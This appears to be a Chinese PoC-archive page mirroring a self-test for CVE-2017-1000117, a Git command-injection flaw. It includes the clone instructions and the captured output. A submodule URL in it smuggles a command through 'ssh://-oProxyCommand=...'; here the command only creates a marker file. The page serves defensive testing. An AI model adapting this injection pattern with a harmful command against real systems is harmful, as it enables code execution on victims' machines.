POC详情: 901372142e0e565f7422e3351eb92ad5ac4d5ad1

来源
关联漏洞
标题: Git 命令注入漏洞 (CVE-2017-1000117)
描述:Git是美国软件开发者林纳斯-托瓦兹(Linus Torvalds)所研发的一套免费、开源的分布式版本控制系统。 Git 2.7.5之前的版本中存在命令漏洞。远程攻击者可借助特制的‘ssh://...’URL利用该漏洞运行任意设备已退出的程序。
描述
Proof of concept of CVE-2017-1000117
介绍
CVE-2017-1000117
--

This module can be used to test whether you are vulnerable to CVE-2017-1000117
```
git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules
ls CVE-2017-1000117
```
Output if you are vulnerable:
```
$ git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules
Cloning into 'CVE-2017-1000117'...
remote: Counting objects: 4, done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 4 (delta 0), pack-reused 0
Unpacking objects: 100% (4/4), done.
Submodule 'test' (ssh://-oProxyCommand=touch VULNERABLE/git@github.com:/timwr/test.git) registered for path 'test'
Cloning into './CVE-2017-1000117/test'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=touch VULNERABLE/git@github.com:/timwr/test.git' into submodule path './CVE-2017-1000117/test' failed
Failed to clone 'test'. Retry scheduled
Cloning into './CVE-2017-1000117/test'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=touch VULNERABLE/git@github.com:/timwr/test.git' into submodule path './CVE-2017-1000117/test' failed
Failed to clone 'test' a second time, aborting
$ ls CVE-2017-1000117
README.md  VULNERABLE
```

If you see VULNERABLE then you are vulnerable and need to update your git client

文件快照

[4.0K] /data/pocs/901372142e0e565f7422e3351eb92ad5ac4d5ad1 ├── [1.7K] README.md └── [4.0K] test 1 directory, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。